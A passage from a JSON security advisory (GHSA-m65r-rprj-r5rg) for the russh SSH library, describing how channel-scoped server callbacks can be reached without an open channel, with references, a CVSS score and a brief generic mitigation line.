channel\nserver_handle_channel_open\nchannel request handler\n```\n\nExisting advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.",
"id": "GHSA-m65r-rprj-r5rg",
"modified": "2026-08-03T15:35:00Z",
"published": "2026-08-03T15:35:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/7c5659f8cf6f6f2f9989d12dba0ebf49dc50a171"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Russh: Channel-scoped server callbacks can be reached without an open channel"
}
Mitigation
Follow the resource's lifecycle from creation to release.
No CAPEC attack patterns related to this CWE.